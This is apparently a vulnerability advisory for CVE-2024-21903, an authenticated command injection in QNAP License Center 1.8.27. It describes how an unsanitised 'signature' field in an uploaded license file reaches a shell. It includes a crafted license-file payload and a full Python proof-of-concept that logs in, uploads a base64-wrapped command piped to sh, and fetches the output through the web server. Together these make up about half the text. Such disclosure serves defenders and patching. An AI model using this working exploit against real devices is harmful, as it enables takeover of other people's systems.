QNAP QSA-24-20 : License Center - Authenticated remote code execution - CVE-2024-21903

CVE CVE-2024-21903 QNAP QSA-24-25 License Center 1.8.27

Timeline (DD/MM/YYYY)

Summary

The LicenseCenter 1.8.27 is vulnerable to command injection and may allow an administrator or a user delegated to use the LicenseCenter to execute an arbitrary command and take control over the system.

Version

This vulnerability was detected on the LicenseCenter 1.8.27. The test environment is based on QTSCloud c5.1.0.2498

License Center version

Technical details

The vulnerability required to be in the administrators or that the user has been delegated to use the LicenseCenter (System Management).

The exploitation can be done manually by importing this file as a license file.

{
    "nonce":"",
    "data":"",
    "signature":"';id > /home/httpd/cgi-bin/result;'"
}

Offline activation upload

Once imported, the command result can be reach by navigating to cgi-bin/result

Command executed

When the user tries to import the license file, the content is unpacked and the signature is verified.

To verify the signature, the function qcloud_license_internal_unpack of the libqlicense is used. But the data is fully controlled by an attacker, and the value is not sanitized before being used.

Decompiled code of libqlicense

Exploit

The following exploit is a POC that executes the id command and saves the result to /home/httpd/cgi-bin/result. This file can be retrieved with an HTTP request.


    import requests, base64, json

    BASE_URL = "http://10.0.10.11:8080"
    USERNAME = ""
    PASSWORD = ""
    COMMAND = "id"

    data = {
        "user": USERNAME,
        "serviceKey": "1",
        "pwd": base64.b64encode(PASSWORD.encode()).decode()
    }

    sid = requests.post(BASE_URL+"/cgi-bin/authLogin.cgi", data=data).text.split("<authSid><![CDATA[")[1].split("]")[0]


    payload = {
        "nonce":"",
        "data":"",
        "signature":"';echo  {}|base64 -d |sh > /home/httpd/cgi-bin/result;'".format(base64.b64encode(COMMAND.encode()).decode())
        }

    files = {
        "license_file": ("license.lif", json.dumps(payload))

    }

    params = {
        "language":"ENG",
        "cmd":"offline_activate_license",
        "is_extend":"0",
        "sid":sid,
    }

    requests.post(BASE_URL+'/cgi-bin/qid/qlicenseRequest.cgi', params=params, files=files)

    print(requests.get(BASE_URL+"/cgi-bin/result").text)